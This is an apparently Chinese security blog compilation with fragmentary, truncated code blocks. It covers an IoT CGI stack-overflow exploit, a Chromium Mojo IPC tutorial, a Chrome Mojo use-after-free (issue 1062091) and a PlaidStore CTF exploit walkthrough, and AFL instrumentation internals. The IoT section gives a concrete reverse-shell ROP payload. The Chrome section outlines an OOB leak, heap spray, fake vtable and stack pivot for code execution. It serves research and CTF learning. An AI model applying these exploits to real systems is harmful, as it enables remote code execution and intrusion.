is_username_allowed
校验输入的用户名是否合法,该函数先将用户名里的大写字母转成小写,然后和一个全局字符串数组里的每个字符串比较,如果有任何一个匹配就返回0,代表非法,否则返回1,代表合法。/etc/shadow
文件里,而这个文件里的root, anonymous...
等用户是linux系统使用的,而不是给注册用户使用的。1 | __int64 __fastcall check_login(const char *username, const char *pwd_decoded) |
/etc/shadow
里的数据,并解析成passwd结构体。如下是ida的stack layout视图,r代表返回地址,如图可以看到从password_copy_input数组到返回地址,一共是120个字节,而我们可以写入192个字节,所以可以劫持返回地址。
1 | -00000000000000C8 ; D/A/* : change type (data/ascii/array) |
这个漏洞的模式就是写入的数据超出了数组本身的大小导致的写入越界,但实际造成栈溢出的地方是在更后面的strcpy的地方,相对来说其实比较隐蔽,strcpy这个函数会从源地址向目的地址拷贝数据,一直到遇到\0
停止。
正常来说在往字符数组写入一个字符串的时候,都会把最后一个字节设置\0
,但因为写入的越界,导致\0
出现在了数组越界后的位置。
最终导致前面base64decode函数造成的写入越界向后传播,最终在某次strcpy的时候造成了栈溢出。
正常来说栈溢出的漏洞利用只需要rop构造gadaget即可,但是对于64位架构的栈溢出来说,因为程序的装载基地址是0x400000,所以不考虑return to libc等情况,直接在程序体内来找合适的gadaget地址的话,不可避免的在写入地址的时候会遇到\x00
,比如0000000000401D00
这个地址,它的高位都是0。
所以在strcpy的时候,遇到高位的\x00
就会被截断,所以在溢出的时候,最多就只能覆盖到返回地址,写入一个想到劫持到的地址,不能向后继续写入了。
如图可以看出,尽管我们溢出password_copy_input
由于截断只能写到返回地址那个位置,进行一次gadaget。
但是我们可以寻找lea rsp, [rsp+??] ; retn
这样的gadaget来抬升栈,通过stack pivot来将rsp指到wd_login
栈上的pwd_decoded字符串里,而这个字符串的值显然是我们可以任意控制,并且不受\x00
截断影响,它是base64解出来的。
所以到这里我们就可以进行多次gadaget了。
即我们要让pwd_decoded字符串里的内容形如,即可
1 | AAAAA * ? + p64(gadaget_addr1) + 需要的pop的寄存器值 + p64(gadaget_addr2) + 需要的pop的寄存器值 + p64(gadaget_addr3)... |
然后由于一般的cgi程序里其实都会调很多system函数,所以我们只要再通过多次gadaget传递我们需要的命令到调用system函数的地方,最终执行该代码就可以反弹shell了。
但这个cgi程序里有个非常有趣的地方,就是00000000004039B7
这个地址,它既有栈抬升,又有call system。
所以我们需要的payload就是A * 120 + p64(0x4039B7) + system_cmd_str
即可。
解释一下,在溢出覆盖返回地址后,会跳到00000000004039B7
去call一次无效的system命令,然后lea rsp, [rsp+108h]
栈抬升,此时rsp指向我们在pwd_decoded里的p64(0x4039B7) + system_cmd_str
字符串。
然后再retn,弹出p64返回地址,再次跳回到00000000004039B7
执行,此时rsp指向的就是要执行的反弹shell字符串,并传给rdi,作为system的参数执行,此时就成功的反弹shell了。
1 | .text:00000000004039B7 lea rdi, [rsp] |
具体的调试就留给读者权做练习了。
总结一下,iot的栈溢出,找gadaget的要点就是
lea rsp, [rsp+?]
message pipe是一对endpoints,对应通信的两端,每个endpoint保存一个传入消息队列,并且在一端写入消息可以有效地传送到另一端,因此message pipe是双向的。
一个mojom文件描述一组interfaces,其代表的是强类型的消息集合。
给定一个mojom接口和一条message pipe,可以将其中一端指定为Remote,用来发送该接口描述的消息,另一端指定为Recevier,用来接收接口的消息。
注意:上面的概括有点过于简化。请记住,消息管道仍然是双向的,mojom message有可能期望得到response,response是从Receiver端点发送的,并由Remote接收。
Receiver端必须和mojom接口的具体实现(implementation)相绑定,从而将收到的消息分发给对应的接口实现函数。
假设我们想从render frame向其对应在browser进程里的RenderFrameHostImpl发送一个“Ping”消息,我们需要去定义一个mojom interface,创建一个pipe去使用这个interface,然后绑定好pipe的两端以发送和接收消息。
第一步是去创建一个.mojom文件
1 | // src/example/public/mojom/ping_responder.mojom |
对应创建一个build rule去生成c++ bindings
1 | # src/example/public/mojom/BUILD.gn |
现在,让我们创建一个消息管道以使用此接口。通常,为了方便起见,在使用Mojo时,接口的client(即remote)通常是创建新pipe的一方。这很方便,因为可以使用Remote来立即发送消息,而无需等待InterfaceRequest端点被绑定到任何地方。
1 | // src/third_party/blink/example/public/ping_responder.h |
在此示例中,ping_responder是Remote,并且receiver是PendingReceiver,这是Receiver的前身。BindNewPipeAndPassReceiver是创建消息管道的最常见方法:它产生PendingReceiver作为返回值。
注意:一个PendingReceiver实际上不执行任何操作。它是单个消息管道端点的惰性持有者。它的存在只是为了使其端点在编译时具有更强的类型,这表明该端点希望被绑定到具体的接口类型。
最后,我们可以通过Remote调用我们的Ping()方法来发送消息:
1 | // src/third_party/blink/example/public/ping_responder.h |
重要说明:如果我们想接收response,则必须保持ping_responder对象处于活动状态直到OnPong被调用。毕竟,ping_responder拥有消息管道端点。如果它被销毁了,那么端点也将被销毁,将没有任何东西可以接收到响应消息。
我们快完成了!当然,如果一切都这么简单,那么该文档就不需要存在。我们已经解决了将消息从render进程发送到browser进程的难题,并将其转化为一个问题:
我们只要把上面的receiver object传递给browser进程,就可以让receiver来分发它收到的消息到具体的实现函数里。
值得注意的是,PendingReceivers(通常是消息管道端点)也是可以通过mojom消息自由发送的一种对象,将PendingReceiver放置在某处的最常见方法是将其作为方法参数传递给其他已经连接的接口。
将render里的RenderFrameImpl和其对应的RenderFrameHostImpl连接的interface是BrowserInterfaceBroker
这个interface是用来获取其他interface的factory,它的GetInterface方法接收一个GenericPendingReceiver(GenericPendingReceiver允许传递任意的interface receiver)
1 | interface BrowserInterfaceBroker { |
由于GenericPendingReceiver可以从任何PendingReceiver隐式构造,所以可以使用之前通过BindNewPipeAndPassReceiver创建的receiver来调用此方法:
1 | RenderFrame* my_frame = GetMyFrame(); |
这将传送PendingReceiver到browser进程里,并被BrowserInterfaceBroker接口的具体实现接收和处理。
我们需要一个browser-side的PingResponder实现
1 |
|
RenderFrameHostImpl保存一个BrowserInterfaceBroker的实现,当此实现收到GetInterface方法调用时,它将调用先前为此特定接口注册的处理程序。
1 | // render_frame_host_impl.h |
我们完成了,此设置足以在renderer frame与其browser-side host之间建立新的接口连接!
假设我们在render中将ping_responder对象保持足够长的生命,我们最终将看到其OnPong回调将以参数4调用,如上面的browser端实现所定义。
同上,我们再看一组interface和它的impl
Mojo通过callback来返回result,即正常我们看到的是return一个返回值return_value,而mojo则是在最后调用callback(return_value)来返回result
1 | module math.mojom; |
message pipe的两端已经在上面说过了,不再赘述
1 | // Wraps a message pipe endpoint for making remote calls. May only be used on |
总之,作为结论,对于某一个interface,sender A可以向receiver B进行任意数量的call,而B则可以针对A的每一次call发送一个response给A处理,这就体现出了一种有限的双向通信。
Message Pipes可以使用下述方法创建
当sender/caller创建endpoint时使用。保留一个endpoint以发送IPC消息,另一端点作为未绑定的mojo::PendingReceiver<T>
返回,以便receiver/callee绑定到mojo::Receiver<T>
1 | mojo::Remote<math::mojom::Math> remote_math; |
在receiver/callee创建端点时使用。保留一个端点以接收IPC,另一个端点作为未绑定的mojo::PendingRemote<T>
返回,以使sender/caller方绑定到mojo::Remote<T>
。
1 | class MathImpl : public math::mojom::MathImpl { |
不太常见,类似于mojo::Remote<T>::BindNewPipeAndPassReceiver()
mojo::Remote<T>
和mojo::Receiver<T>
都有相应的未绑定版本:这允许在同一进程中的sequences之间,甚至在IPC上的进程之间传递端点。
1 | mojo::Remote<math::mojom::MathImpl> remote = ...; |
1 | mojo::Receiver<math::mojom::MathImpl> receiver = ...; |
这里的bind和unbind实际上是通过在receiver里保存一个bind state对象来维护的,具体的不叙,可以参考具体代码
1 | //services/db/public/mojom/db.mojom |
你能在源码里包含上面生成的头文件,以使用其定义
1 |
|
本文档涵盖了Mojom IDL为C++使用者生成的各种定义,以及如何有效地使用它们,在消息管道之间进行通信。
让我们看一下//sample/logger.mojom
里定义的简单的接口,以及client如何使用他们去log simple string message。
1 | module sample.mojom; |
通过binding generator将生成下面的定义
1 | namespace sample { |
一种方法是手动创建pipe,并用强类型对象包装两端:
1 |
|
这很冗长,所以c++ binding库提供了更简便的方法来完成这件事。remote.h定义了BindNewPipeAndPassReceiver
1 | mojo::Remote<sample::mojom::Logger> logger; |
这个代码和之前的等价。
绑定PendingRemote<Logger>
后,我们可以立即开始在其上调用Logger接口方法,该方法将立即将消息写入管道。这些消息将在管道的receiver排队,直到有人绑定到receiver并开始读取它们为止。
1 | logger->Log("Hello!"); |
但是PendingReceiver<T>
本质上只是一个类型化的容器,用于容纳Remote<T>
管道的另一端(即接收端),直到将其绑定到接口的具体实现上。 PendingReceiver<T>
实际上除了保留管道端点并携带有用的编译时类型信息外,没有做任何其他事情。
因此该消息将永远存在于管道中。我们需要一种从管道的另一端读取消息并进行分发的方法。我们必须bind这个pending receiver
这有许多不同的helper类,用于binding message pipe的receiver端,其中最原始的是mojo::Receiver<T>
,mojo::Receiver<T>
将T的impl和单个的message pipe端点mojo::PendingReceiver<T>
绑定到一起,并监视是否有新消息发送过来。
每当bound pipe有新消息可读,Receiver都会安排一个task去读,反序列化消息并将其分发到其绑定的impl去。
下面是Logger接口的示例实现,注意,一般implement会own mojo::Receiver
字段,这是一种常见的模式。因为绑定的implement必须比绑定它的任何mojo::Receiver存活的更久
1 |
|
现在我们可以使用PendingReceiver<Logger>
来构造出一个LoggerImpl,LoggerImpl impl(std::move(receiver));
一些mojom接口需要response,我们修改Logger接口,从而获取最后一个Log行。
1 | module sample.mojom; |
现在生成的c++ interface是这样的
1 | namespace sample { |
和之前一样,此接口的client和implement对GetTail都使用相同的函数签名:implement使用callback参数去对请求进行响应,而client传递callback参数来异步接收响应,现在的implement是这样的:
1 | class LoggerImpl : public sample::mojom::Logger { |
现在client可以这样调用GetTail
1 | void OnGetTail(const std::string& message) { |
我们知道如何创建接口管道,并以一些有趣的方式使用它们的Remote和PendingReceiver端点。这仍然不构成有趣的IPC!Mojo IPC的主要功能是能够跨其他接口传输接口端点,因此让我们看一下如何实现这一点。
考虑如下Mojom
1 | module db.mojom; |
pending_receiver<Table>
对应c++里的PendingReceiver<T>
类型,并且为这个mojom生成类似如下的代码:
1 | namespace db { |
其对应的implemention如下:
1 |
|
pending_receiver<Table>
参数对应的是一个强类型的message pipe handle,当DatabaseImpl接收到一个AddTable消息时,它构造一个新的TableImpl
实例,并且将其绑定到接收到的mojo::PendingReceiver<db::mojom::Table>
让我们看一下具体的用法
1 | mojo::Remote<db::mojom::Database> database; |
请注意,即使它们的mojo::PendingReceiver<db::mojom::Table>
端点仍在传输中,我们也可以立即立即开始使用新的Table管道。
当然我们也可以发送Remotes
1 | interface TableListener { |
生成这样的代码
1 | virtual void AddListener(mojo::PendingRemote<TableListener> listener) = 0; |
使用起来是这样的
1 | mojo::PendingRemote<db::mojom::TableListener> listener; |
self-owned的receiver作为一个独立的object存在,它拥有一个std::unique_ptr指向其绑定的interface implemention,并且在MessagePipe被关闭或者发生一些错误时,负责任的去delete implemention,所以其将一个interface implemention和MessagePipe绑定到了一起。
MakeSelfOwnedReceiver函数被用于创建这样的receiver
1 | class LoggerImpl : public sample::mojom::Logger { |
只要logger在系统中的某个位置保持open状态,在另一端绑定的LoggerImpl将存活。
在多个client共享同一个implement实例的时候使用。
1 | module system.mojom; |
如此我们就可以使用ReceiverSet去绑定多个Looger pending receiver到单个implement实例
1 | class LogManager : public system::mojom::LoggerProvider, |
同理,有时维护一组Remotes很有用,例如一组观察某些事件的client。
1 | module db.mojom; |
Table的实现可能是这样的
1 | class TableImpl : public db::mojom::Table { |
1 | interface Bar {}; |
假设你已经有了一个Remote<Foo> foo
,你想要去call PassBarReceiver
,你可以这样:
1 | mojo::PendingAssociatedRemote<Bar> pending_bar; |
首先代码创建一个Bar类型的associated interface,和之前我们创建的不同在于,associated的两端(bar_receiver和pending_bar)之一,必须通过另一个interface发送,这就是接口和现有message pipe关联的方式。
应该注意的是,在传递bar_receiver之前不能调用bar->DoSomething()
,需要满足FIFO:
在接收方,当DoSomething调用的消息到达时,我们希望在处理任何后续消息之前将其分派到对应的AssociatedReceiver<Bar>
,如果bar_receiver在后续的消息里,那么消息调度就将陷入死锁。
另一方面,一旦发送了bar_receiver
,bar就可以使用,而无须等待bar_receiver绑定到具体的implemention。
上面的代码也可以写成这样,包一层语法糖
1 | mojo::AssociatedRemote<Bar> bar; |
Foo的impl实现如下:
1 | class FooImpl : public Foo { |
在这个例子里,bar_receiver_的生命周期和FooImpl息息相关,但是你不必这样做。
你可以将bar2传递到另一个序列,然后在那里绑定AssociatedReceiver<Bar>
。
同理
1 | mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl); |
1 | mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl); |
bindings API被定义在mojo namespace里,其实现在mojo_bindings.js
当bindings generator处理mojom IDL文件时,将会生成对应的mojom.js文件。
假设我们创建一个//services/echo/public/interfaces/echo.mojom
文件和//services/echo/public/interfaces/BUILD.gn
1 | module test.echo.mojom; |
1 | import("//mojo/public/tools/bindings/mojom.gni") |
通过构建如下生成target,来生成bindings。
如果我们编译这个target,这将生成几个source file
1 | ninja -C out/r services/echo/public/interfaces:interfaces_js |
其中与js binding相关的是
1 | out/gen/services/echo/public/interfaces/echo.mojom.js |
为了使用echo.mojom中的定义,您将需要使用<script>
标签在html页面中包括两个文件:
.mojom.js
文件之前。1 |
|
mojo.InterfacePtrInfo
和mojo.InterfaceRequest
封装message pipe的两端,他们分别代表interface连接的client端和service端mojo.Binding
保存一个InterfaceRequest。 它侦听message pipe handle,并将传入的message分发到user-defined的interface实现。让我们考虑上面的echo.mojom示例。下面显示了如何创建Echo interface connection和使用它进行call。
1 |
|
在上面的示例中,test.echo.mojom.EchoPtr是一个interface pointer类,它代表interface connection的client。对于Echo Mojom接口中的方法EchoInteger,在EchoPtr中定义了相应的echoInteger方法(注意,生成的method name的格式为camelCaseWithLowerInitial,即小驼峰,第一个字母小写)
这就是实际生成的echo.mojom.js
在上面的实例中,echoServiceRequest是一个InterfaceRequest实例,它代表接口连接的server。
mojo.makeRequest创建一个message pipe,用pipe的一端填充output参数(可以是InterfacePtrInfo或interface pointer),返回包装在InterfaceRequest实例中的另一端。
1 | // |output| could be an interface pointer, InterfacePtrInfo or |
mojo.Binding桥接了interface的实现和message pipe的一端,从而将传入的message从server端分派到该实现。
在上面的示例中,echoServiceBinding侦听message pipe上的传入的EchoInteger方法调用,并将这些调用分派到EchoImpl实例。
1 | // --------------------------------------------------------------------------- |
一些mojom接口期待response,例如EchoInteger,对应的js方法返回一个Promise,当service端发回响应时,此Promise将被resolve,如果interface断开连接,则将被reject。
1 | function resolveAfter2Seconds(x) { |
使用new Promise( function(resolve, reject) {...} /* executor */ );
来创建一个Promise对象,其参数executor是带有resolve和reject两个参数的函数 。
Promise构造函数执行时立即调用executor函数,resolve和reject两个函数作为参数传递给executor(executor函数在Promise构造函数返回所建promise实例对象前被调用)。resolve和reject函数被调用时,分别将promise的状态改为fulfilled(完成)或rejected(失败)。
如上resolveAfter2Seconds函数返回一个Promise对象,其将立刻调用setTimeout函数,并等待then一个函数,作为它的resolve来执行
例如
1 | resolveAfter2Seconds(10).then((x)=>{console.log(x)}) |
await可以等待Promise里的executor函数执行结束(阻塞),并返回其promise的fulfilled value,其实也就是作为参数传给resolve函数的那个值。
另外
1 | Promise.resolve('foo') |
所以如果let a = await Promise.resolve('foo')
,则a的值为’foo’
await一般和async一起用,如最前面的例子,只有f1函数里的被阻塞,而不影响f2函数执行,关于异步在这里不再多说,知道这些已经足够,另外一般的写法都是用了箭头函数,这里为了更好理解就改掉了。
这里我们通过一个简单的漏洞issue-1062091来学习chrome的对象生命周期造成的一类安全问题。
我们首先看一下造成这个漏洞的mojo接口的定义,在继续往下阅读之前,请仔细的理解前面我写的mojo的基础知识。
1 | // Represents a system application related to a particular web app. |
一个render进程里的RenderFrame,对应到browser进程里的一个RenderFrameHost。
打开一个新的tab,或者创建一个iframe的时候,都对应创建出一个新的RenderFrameHost对象,而在构造一个新的RenderFrameHost对象的时候,会使用RenderFrameHostImpl来初始化一个BrowserInterfaceBrokerImpl对象。
1 | //content/browser/renderer_host/render_frame_host_impl.h |
broker可以用来在render和browser之间通信,其bind来自renderer的interfaces requested到具体的mojo interface impl上,依据不同的ExecutionContextHost,最终调用的PopulateBinderMap不同,这里是使用的renderframehost,关于其他host,以后再深究。
1 | // content's implementation of the BrowserInterfaceBroker interface that binds |
通过map->Add
来向broker里注册适当的handlers回调,由于RenderFrameHostImpl里保存一个BrowserInterfaceBroker的实例,所以当此实现收到来自render的GetInterface方法调用时,它将调用这个回调,例如当通过bindinterface来请求调用一个interface的时候,
1 | void PopulateFrameBinders(RenderFrameHostImpl* host, |
我们看一下mojo接口的定义
所以最终从mojo调到的注册函数如下
1 | void RenderFrameHostImpl::CreateInstalledAppProvider( |
参数是RenderFrameHost和一个receiver,这里通过MakeSelfOwnedReceiver函数来创建一个self-owned的receiver,其作为一个独立的object存在,它拥有一个std::unique_ptr指向其绑定的interface implemention,并且在MessagePipe被关闭或者发生一些错误时,负责任的去delete implemention,所以其将一个interface implemention和MessagePipe绑定到了一起,具体实现参考这里。
这里我们只要知道InstalledAppProviderImpl和message pipe的生命周期绑定即可,只要message pipe还连接,其就一直存在
另外InstalledAppProviderImpl里保存一个render_frame_host_
对象,其来自传入的render_frame_host
指针,但是并没有通过任何方法来将InstalledAppProviderImpl和RenderFrameHost的生命周期绑定,一般来说会通过将Impl继承自WebObserver等来观察renderframehost的生命周期,当renderframehost析构的时候会通知Impl做出正确的处理,但这里没有。
1 | InstalledAppProviderImpl::InstalledAppProviderImpl( |
所以我们可以通过free iframe来释放掉对应的render_frame_host,而此时InstalledAppProviderImpl的实例依然存在,再通过FilterInstalledApps来再次use render_frame_host_
,而render_frame_host_->GetProcess()
是一个虚函数调用,通过占位render_frame_host来伪造虚函数表,我们就可以任意代码执行。
1 | // static |
1 | interface PlaidStore { |
这个题目里有两个漏洞
这个题目里的UAF和我们上面分析的那个case如出一辙,都是同样的生命周期管理的问题,由于MakeSelfOwnedReceiver将PlaidStoreImpl实例和message pipe关联在一起,只要不断开则PlaidStoreImpl实例不会被析构。
而PlaidStoreImpl类保存了指向其所在render_frame_host的raw pointer,即render_frame_host_
,但是并没有将它们的生命周期绑定,即render_frame_host被析构,但PlaidStoreImpl实例仍然可以存在。
于是就可以通过在主frame里创建一个child iframe,然后在child iframe里将message pipe的remote端传给父frame,然后将child iframe从dom里移除,从而析构掉child iframe其对应的render_frame_host,但由于message pipe被传给了父frame,因此不会被断开,而此时render_frame_host已经被析构掉了。
所以我们可以通过父frame来通过child iframe里传过来的message pipe的remote端,来调用其StoreData/GetData触发UAF。
1 | void PlaidStoreImpl::GetData( |
1 | sakura@ubuntu:~/mojo$ ls |
1 | sakura@ubuntu:~/mojo$ ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=/tmp/noexist --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/trigger.html |
1 | file ./chrome |
gdb -x debug.sh
1 | async function oob(){ |
1 | [0920/093628.390634:INFO:CONSOLE(178)] "oob", source: http://localhost:8000/trigger.html (178) |
可以看出我们leak出了一个很像地址的东西,那么我们可以调试一下我们到底可以越界读取到什么
1 | gdb-peda$ info functions PlaidStoreImpl |
1 | gdb-peda$ x/20gx 0x00002dd26ed33870 //data_store_ |
1 | template <class _Key, class _CP, class _Compare, |
__tree
类型的成员变量,其实这就是红黑树(rb tree)的实现,map其实是rb tree的一层wrapper,实际的插入删除等,都是在__tree
上完成的。__tree
的内存布局即可。1 | template <class _Tp, class _Compare, class _Allocator> |
1 | gdb-peda$ x/20gx 0x2dd26ed2ede0 |
1 | template <class _Pointer> class __tree_end_node; |
__node_value_type
的大小来决定,这个node_value_type实际上就是key-value这样一个pair对,在这里就是pair<string,vector<uint8_t>>
1 | 0x0 pointer __left_; |
1 | //PlaidStoreImpl |
1 | gdb-peda$ x/20gx 0x00003268b271a780 |
1 | class __vector_base |
1 | gdb-peda$ vmmap 0x00003268b2757ba0 |
1 | gdb-peda$ vmmap 0x55555f50a7a0 |
1 | async function oob(){ |
有了chrome的基地址,我们就可以搜索gadget来构造rop了,这里我直接参考了这篇文章里使用的gadaget。
1 | ROPgadget --binary=./chrome > gadget.txt |
也可以这样,然后直接在文件里find需要的gadget,不再赘述。
虚表其实就是保存着函数地址的表,虚函数调用的时候,首先根据保存的虚表地址(vtable entry),找到虚函数表,然后再根据偏移在虚表里找到对应的函数地址。
所以只要改掉了其保存的函数地址,就可以在执行对应的虚函数时去执行任意代码。
我们来看一个正常的虚函数调用的汇编,这里我断在GetData,getData("aaaa", 0x100)
,虚函数调用也还是成员函数,所以第一个参数是this,也就是render_frame_host_的地址,然后key是”aaaa”,count是0x100。
如图看寄存器,rdi是0x88313358100
,rsi是”aaaa”,rdx是0x100,和我们刚刚的推论吻合。
再看汇编。
1 | mov rbx,rdi // rdi指向PlaidStoreImpl,是this |
这里就是在call虚函数IsRenderFrameLive,这个函数的地址保存在[rax+0x160],而由于前面所述的UAF的原因,render_frame_host_地址处的所有内容完全可控,所以rax的值我们完全可控。
1 | void PlaidStoreImpl::GetData( |
chrome上比较常用的是劫持栈指针到我们可控的位置,这里render_frame_host_
里的内容我们就完全可控,我们可以把栈指针劫持到render_frame_host_
上。
让rax里保存的地址为addr render_frame_host_+0x10
,这里就是新的虚表了。
接下来的执行将分成两部分。
#parent
#parent
#child
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
发给拦截器,从而触发对应的处理函数。#parent
里保存的plaid_store_ptr,就可以从remote端调用browser里PlaidStoreImpl的函数,从而触发UAF,具体代码如下:1 | function allocateRFH(src) { |
render_frame_host_
,其实很简单,因为chrome里heap management是使用TCMalloc的。vector<uint8_t>
和render_frame_host_
是使用同样的分配器,也就是只要大量分配大小和render_frame_host_
相等的vector就可能占位上。这里我们先看一下render_frame_host_
的大小,步骤如下,最终找到大小是0xc28
1 | gdb-peda$ info functions RenderFrameHostImpl::RenderFrameHostImpl |
我们可以直接拿之前获取的remote来调storeData,并在data里fake好gadaget和数据,还是刚刚的那个图。
1 | var uaf_ab = new ArrayBuffer(kRenderFrameHost); |
值得提到的一点是,虽然我们为storeData传入的是一个TypedArray,并在其ArrayBuffer里伪造了数据,但最终我们传到browser侧的实例里的storeData函数的仍然仅仅是一个vector<uint8_t>
,ArrayBuffer里伪造的数据就是vector的内容。
这里我们使用一个Array一样可以占位,演示如下:
1 | 修改代码为await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32)); |
可以看出从我们伪造的render_frame_host_
里取出到rax的vtable entry是0x3232323232323232
,和我们保存在array里的数据是完全一致的。
所以这里使用ArrayBuffer和TypedArray仅仅只是为了书写便利,没有额外的原因。
最后需要提到的一点是,由于我们需要劫持rsp到被释放的render_frame_host_
上,而这个render_frame_host_
在我们的这个exploit里是child iframe的render_frame_host_
所以就要在child iframe里调用oob函数来leak出render_frame_host_
,而不是在parent里,这样就涉及到如何将child iframe里leak出来的地址传给parent。
这里我采用的方法是将leak出来的地址作为一个新的dom节点插入进去,然后在free掉child iframe之前,在parent里,通过window.frames[0].window.document.getElementById
的方式拿到child iframe的window,也就是拿到里面的所有dom节点,从而拿到在child iframe里leak出来的地址。
1 | <html> |
这个函数用来寻找afl-as
的位置。
afl_path/as
这个文件是否可以访问,如果可以访问,就将afl_path设置为as_path。dir/afl-as
这个文件是否可以访问,如果可以访问,就将dir设置为as_path这个函数主要是将argv拷贝到u8 **cc_params
中,并做必要的编辑。
(argc+128)*8
,相当大的内存了。afl-clang
比较afl-clang++
比较AFL_CXX
的值,如果该值存在,则将cc_params[0]设置为该值,如果不存在,就设置为clang++AFL_CC
的值,如果该值存在,则将cc_params[0]设置为该值,如果不存在,就设置为clangafl-g++
比较AFL_CXX
的值,如果该值存在,则将cc_params[0]设置为该值,如果不存在,就设置为g++AFL_CC
的值,如果该值存在,则将cc_params[0]设置为该值,如果不存在,就设置为gcc-B/integrated-as/-pipe
-fsanitize=address
或者-fsanitize=memory
,就设置asan_set为1;FORTIFY_SOURCE
,则设置fortify_set为1cc_params[cc_par_cnt++] = cur
;as_path
,然后设置-B as_path
-no-integrated-as
-fstack-protector-all
AFL_USE_ASAN
环境变量为1-fsanitize=address
-fsanitize=memory
,但不能同时还指定AFL_HARDEN
或者AFL_USE_ASAN
,因为这样运行时速度过慢。-g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1
-fno-builtin-strcmp
等cc_params[cc_par_cnt] = NULL;
终止对cc_params的编辑实际上看到这里,我们就知道afl-gcc就是找到as所在的位置,将其加入搜索路径,然后设置必要的gcc参数和一些宏,然后调用gcc进行实际的编译,仅仅只是一层wrapper
1 | /* Main entry point */ |
输出如下
1 | sakura@sakuradeMacBook-Pro:~/gitsource/AFL/cmake-build-debug$ ./afl-gcc ../test-instr.c -o test |
检查并修改参数以传递给as
。请注意,文件名始终是GCC传递的最后一个参数,因此我们利用这个特性使代码保持简单。
主要是设置变量as_params的值,以及use_64bit/modified_file的值。
(argc+32)*8
u8 *tmp_dir
u8 *afl_as
__APPLE__
宏,且当前是在clang_mode且没有设置AFL_AS环境变量,就设置use_clang_as为1,并设置afl_as为AFL_CC/AFL_CXX/clang中的一种。as_params[0]
为afl_as
,否则设置为as
as_params[argc]
为0,as_par_cnt初始值为1。argv[argc-1]
(也就是最后一个参数)之前的argv参数--64
,设置use_64bit为1,如果存在--32
,设置use_64bit为0;如果是apple,则如果存在-arch x86_64
,设置use_64bit为1,并跳过-q
和-Q
选项as_params[as_par_cnt++] = argv[i]
;设置as_params的值为argv对应的参数值-c -x assembler
选项argv[argc - 1]
的值,赋给input_file的值,也就是传递的最后一个参数的值作为input_file/var/tmp/
//tmp/
的前strlen(tmp_dir)/9/5个字节是否相同,如果不相同,就设置pass_thru为1alloc_printf("%s/.afl-%u-%u.s", tmp_dir, getpid(),(u32) time(NULL));
,简单的说就是tmp_dir/.afl-pid-time.s
这样的字符串。as_params[as_par_cnt++] = modified_file
as_params[as_par_cnt] = NULL;
处理输入文件,生成modified_file,将instrumentation插入所有适当的位置。
接下来是真正有趣的部分,首先我们要确定的是,我们只在.text部分进行插桩,但因为这部分涉及到多平台以及优化后的汇编文件格式,这里我只会描述最核心的逻辑
核心逻辑如下,我抽取了最重要的代码出来。
1 | ^func: - function entry point (always instrumented) |
1 | while (fgets(line, MAX_LINE, inf)) { |
检查instr_ok && instrument_next && line[0] == '\t' && isalpha(line[1])
即判断instrument_next和instr_ok是否都为1,以及line是否以\t
开始,且line[1]
是否是字母
instrument_next = 0
,并向outf中写入trampoline_fmt
,并将插桩计数器ins_lines
加一。首先要设置instr_ok的值,这个值其实是一个flag,只有这个值被设置为1,才代表我们在.text
部分,否则就不在。于是如果instr_ok为1,就会在分支处执行插桩逻辑,否则就不插桩。
\t.[text\n|section\t.text|section\t__TEXT,__text|section __TEXT,__text]...
其中之一,则设置instr_ok为1,然后跳转到while循环首部,去读取下一行的数据到line数组里。\t.[section\t|section |bss\n|data\n]...
,则设置instr_ok为0,并跳转到while循环首部,去读取下一行的数据到line数组里。插桩^\tjnz foo
条件跳转指令
\tj[!m]...
,且R(100) < inst_ratio
,R(100)会返回一个100以内的随机数,inst_ratio是我们之前设置的插桩密度,默认为100,如果设置了asan之类的就会默认设置成30左右。fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));
根据use_64bit来判断向outfd里写入trampoline_fmt_64还是trampoline_fmt_32。define R(x) (random() % (x))
,可以看到R(x)是创建的随机数除以x取余,所以可能产生碰撞ins_lines
加一。首先检查该行中是否存在:
,然后检查是否以.开始
.
开始,则代表想要插桩^.L0:
或者^.LBB0_0:
这样的branch label,即style jump destinationline[2]
是否为数字 或者 如果是在clang_mode下,比较从line[1]开始的三个字节是否为LBB. 前述所得结果和R(100) < inst_ratio)
相与。instrument_next = 1
^func:
function entry pointinstrument_next = 1
如果插桩计数器ins_lines不为0,就在完全拷贝input_file之后,依据架构,像outf中写入main_payload_64或者main_payload_32,然后关闭这两个文件
至此我们可以看出afl的插桩相当简单粗暴,就是通过汇编的前导命令来判断这是否是一个分支或者函数,然后插入instrumentation trampoline。
关于instrumentation trampoline,后文叙述
最后我们回来看一下main函数
rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();
execvp(as_params[0], (char **) as_params);
as_params[0]
来完全替换掉当前进程空间中的程序,如果不通过子进程来执行实际的as,那么后续就无法在执行完实际的as之后,还能unlink掉modified_filewaitpid(pid, &status, 0)
等待子进程结束稍微打印一下参数
1 | for (int i = 0; i < sizeof(as_params); i++) { |
因为AFL对于上述通过afl-gcc
来插桩这种做法已经属于不建议,并提供了更好的工具afl-clang-fast,通过llvm pass来插桩。
afl-clang-fast.c
这个文件其实是clang的一层wrapper,和之前的afl-gcc
一样,只是定义了一些宏,和传递了一些参数给真正的clang。
我们还是依次来看一下核心函数。
AFL_PATH
的值,如果存在,就去读取AFL_PATH/afl-llvm-rt.o
是否可以访问,如果可以就设置这个目录为obj_path
,然后直接返回/
,例如我们可能是通过/home/sakura/AFL/afl-clang-fast
去调用afl-clang-fast的,所以它此时就认为最后一个/
之前的/home/sakura/AFL
是AFL的根目录,然后读取其下的afl-llvm-rt.o
文件,看是否能够访问,如果可以就设置这个目录为obj_path
,然后直接返回。AFL_PATH
的宏,其指向/usr/local/lib/afl
,会到这里找是否存在afl-llvm-rt.o
,如果存在设置obj_path
并直接返回。Unable to find 'afl-llvm-rt.o' or 'afl-llvm-pass.so'. Please set AFL_PATH
afl-clang-fast
还是afl-clang-fast++
来决定cc_params[0]
的值是clang++还是clang。afl-clang-fast++
,读取环境变量AFL_CXX
,如果存在,就将其值设置为cc_params[0]
,如果不存在,就直接设置成clang++
